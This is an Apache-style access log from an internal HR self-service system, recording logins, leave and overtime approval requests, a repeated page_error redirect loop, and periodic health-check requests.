192.168.182.95 - - [03/Sep/2025:13:40:58 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 4645
192.168.182.95 - - [03/Sep/2025:13:41:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 -
192.168.182.95 - - [03/Sep/2025:13:41:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [03/Sep/2025:13:41:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 122194
192.168.182.95 - - [03/Sep/2025:13:41:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 122194 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [03/Sep/2025:13:41:21 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [03/Sep/2025:13:41:21 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 -
192.168.182.95 - - [03/Sep/2025:13:41:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131049%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131049&target=iframe HTTP/1.1" 302 -
192.168.182.95 - - [03/Sep/2025:13:41:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131049%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131049&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [03/Sep/2025:13:41:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.182.95 - - [03/Sep/2025:13:41:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [03/Sep/2025:13:41:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.182.95 - - [03/Sep/2025:13:41:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [03/Sep/2025:13:41:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.182.95 - - [03/Sep/2025:13:41:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [03/Sep/2025:13:41:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [03/Sep/2025:13:41:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.182.95 - - [03/Sep/2025:13:41:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.182.95 - - [03/Sep/2025:13:41:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [03/Sep/2025:13:41:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.182.95 - - [03/Sep/2025:13:41:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [03/Sep/2025:13:41:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.182.95 - - [03/Sep/2025:13:41:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [03/Sep/2025:13:41:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.182.95 - - [03/Sep/2025:13:41:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [03/Sep/2025:13:41:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [03/Sep/2025:13:41:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.182.95 - - [03/Sep/2025:13:41:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.182.95 - - [03/Sep/2025:13:41:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [03/Sep/2025:13:41:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.182.95 - - [03/Sep/2025:13:41:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [03/Sep/2025:13:41:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.182.95 - - [03/Sep/2025:13:41:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [03/Sep/2025:13:41:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.182.95 - - [03/Sep/2025:13:41:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [03/Sep/2025:13:41:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.182.95 - - [03/Sep/2025:13:41:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [03/Sep/2025:13:41:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.182.95 - - [03/Sep/2025:13:41:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [03/Sep/2025:13:41:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.182.95 - - [03/Sep/2025:13:41:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [03/Sep/2025:13:41:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.182.95 - - [03/Sep/2025:13:41:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [03/Sep/2025:13:41:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.182.95 - - [03/Sep/2025:13:41:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
100.64.0.1 - - [03/Sep/2025:13:42:20 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:13:42:20 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:13:44:41 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:13:44:41 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:13:45:21 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:13:45:21 +0800] "GET / HTTP/1.0" 200 439
192.168.40.48 - - [03/Sep/2025:13:46:42 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8826
192.168.40.48 - - [03/Sep/2025:13:46:42 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [03/Sep/2025:13:46:46 +0800] "POST /ehr/ess/includes/login.php HTTP/1.1" 302 -
192.168.40.48 - - [03/Sep/2025:13:46:46 +0800] "POST /ehr/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [03/Sep/2025:13:46:46 +0800] "GET /ehr/ess/redirect.php HTTP/1.1" 200 7217
192.168.40.48 - - [03/Sep/2025:13:46:46 +0800] "GET /ehr/ess/redirect.php HTTP/1.1" 200 7217 "http://192.168.1.83:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [03/Sep/2025:13:46:47 +0800] "GET /ehr/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10550
192.168.40.48 - - [03/Sep/2025:13:46:47 +0800] "GET /ehr/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10550 "http://192.168.1.83:8088/ehr/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [03/Sep/2025:13:46:54 +0800] "GET /ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 43094 "http://192.168.1.83:8088/ehr/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [03/Sep/2025:13:46:54 +0800] "GET /ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 43094
100.64.0.1 - - [03/Sep/2025:13:46:58 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:13:46:58 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:13:47:23 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:13:47:23 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:13:47:57 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:13:47:57 +0800] "GET / HTTP/1.0" 200 439
192.168.40.48 - - [03/Sep/2025:13:48:08 +0800] "POST /ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
